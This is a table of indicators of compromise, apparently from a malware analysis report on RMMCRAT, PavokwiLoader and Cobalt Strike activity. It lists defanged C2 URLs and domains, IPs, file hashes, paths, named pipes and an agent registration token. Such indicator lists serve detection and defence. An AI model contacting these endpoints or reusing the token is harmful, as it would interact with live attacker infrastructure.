| hxxp://45[.]94[.]31[.]112/api/v3/r | URI | Beacon GET URI |
| hxxp://45[.]94[.]31[.]112/api/v3/s | URI | Beacon POST URI |
| MultiUpdater | String | Scheduled task name |
| %TEMP%\begvivn[.]mgk | Path | Persistence XML temp file |
| Path | Key cache file | |
| 987654321 | Integer | Cobalt Strike watermark |
| rmm.exe (RMMCRAT) | ||
| 3afabe2f9197f66460044083c708a5206291b2efe1138be1c763f60c47069787 | SHA256 | rmm.exe |
| softbymade[.]top | Domain | C2 server |
| hxxps://softbymade[.]top/api/v1/agents/register | URL | Registration endpoint |
| hxxps://softbymade[.]top/api/v1/agents/heartbeat | URL | Heartbeat / task polling |
| hxxps://softbymade[.]top/api/v1/agents/tasks/ |
URL | Task result submission |
| r4iZqA7PmI1GDu0wlnvB1yB2sWDRrb5KYSRq9uCb7UI | String | Registration token (RMMC blob) |
| C:\ProgramData\RMMAgent\packages\ | Path | Payload staging directory |
| PavokwiLoader | ||
| 009c3f6d2dd110451414783d6b04639bd99032a1838ed75f066f530296256b94 | SHA256 | PavokwiLoader.exe |
| 2a0886d6bcdb2bdac610c9e50e1e9002fa4b1df2e61da3386d156aa8021c6229 | SHA256 | Payload wrapper (decrypted) |
| 41c7a0285a322cb047ddd1bbd91fa7a4301c68355448f3079897b62fc50dcbed | SHA256 | Final stage (decrypted) |
| wss://salobakodasofne[.]com/ws | URL | C2 slot 1 |
| wss://ajdbsgjlgbdfgsdlfkbskldf[.]com/ws | URL | C2 slots 2 and 3 |
| 87[.]120[.]93[.]82 | IPv4 | Origin IP (LuxHost, behind Cloudflare) |
| s302643[.]love-is[.]nexus | PTR | Origin PTR record |
| chamaedorea[.]xyz | Domain | Earlier domain on same origin |
| 104[.]21[.]80[.]234 | IPv4 | Cloudflare front |
| 172[.]67[.]187[.]164 | IPv4 | Cloudflare front |
| 27d40d40d00040d1dc42d43d00041d6183ff1bfae51ebd88d70384363d525c | JARM | TLS fingerprint |
| %APPDATA%\fontcachems | Path | Marker / fast-path enabler |
| \Device\NamedPipe\S. | Named pipe | Stream agent |
| \Device\NamedPipe\A. | Named pipe | File agent |
Start the conversation